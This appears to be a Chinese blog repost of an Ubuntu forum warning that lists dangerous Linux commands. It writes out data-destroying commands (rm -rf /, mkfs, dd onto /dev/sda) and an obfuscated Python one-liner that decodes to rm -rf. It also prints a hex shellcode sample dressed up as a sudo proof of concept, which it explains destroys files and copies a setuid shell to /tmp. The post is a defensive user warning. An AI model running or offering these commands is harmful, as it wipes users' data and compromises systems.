ubuntu官方论坛的公告板块发布了一份尽可能详尽的“危险命令”清单,提醒广大用户不要随意使用清单中的危险命令。
删除所有文件,删除当前目录及删除当前目录下的可见文件。这些命令运行危险的原因很明显。
代码: |
rm -rf /
rm -rf .
rm -rf * |
格式化:运行mkfs命令后磁盘上的数据将被摧毁并且替换为空白的文件系统。
代码: |
mkfs
mkfs.ext3
mkfs.anything |
块设备操作:将成行的数据写入块设备中。数次这样的操作将可能摧毁文件系统并且引起所有数据的丢失。
代码: |
any_command > /dev/sda
dd if=something of=/dev/sda
|
Forkbomb:运行大量的进程直到系统崩溃,强制你强行重启将可能导致出错,数据损坏或者其他糟糕的事情发生。
在Bourne-ish shells中,比如bash:(这东西看起来很有意思很吸引人去这么试一把)
在Perl中
Tarbomb:有人会让你释放一个tar存档到一个已存在的目录中。这个tar存档可能爆出无数个文件或者把文件靠猜测的文件名注入到系统中。你应该养成释放tar到干净目录中的习惯。
shellscript:有人给你一个链接到一个shellscript运行。这可能包含他选择的任何命令——无害的或者恶意的。不要运行从你不认识的人那个发来的代码。(我经常这么干……–!中国人还是很善良的……)
编译代码:
有人会给你源代码然后让你编译它。在一大堆源代码中很可能隐含恶意代码,并且源代码能给予攻击者更多的机会。不要编译或运行编译好了的代码除非那些源代码
是知名的软件,或者从一个受好评的站点那里的来的(比如SourceForge, the author’s homepage, an Ubuntu
address)。
很经典的例子就是表面上伪装成邮件实际上是proof of concept 执行sudo 声称如果你运行它,你不需要shell就可以使用sudo获得root权限。
代码: |
char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;” |
对于新用户及经验较浅的用户,这个看起来像“十六进制乱码”是个典型proof-of-concept.可是这个代码实际上确是运行的是rm
-rf ~ /
&,将会以一个常规用户或root破坏你home文件夹或所有文件。如果你能读懂这个十六进制形式的命令,那么你就不需要看这则公告了。否则,请
记住当心那些很长的代码。
另外,再次强调这些不是所有的东西,你不应该把它当作一个检查一个命令是否安全的列表。
比如,在python中生成这样的东西:
代码: |
python -c ‘import os; os.system(”".join([chr(ord(i)-1) for i in “sn!.sg!+”]))’ |
这里”sn!.sg!+”就是rm -rf*另一种字符形式。当然这仅仅只是个愚蠢例子——我不会期望有人会蠢到毫无顾忌的把它贴到终端中运行。
阅读(998) | 评论(0) | 转发(0) |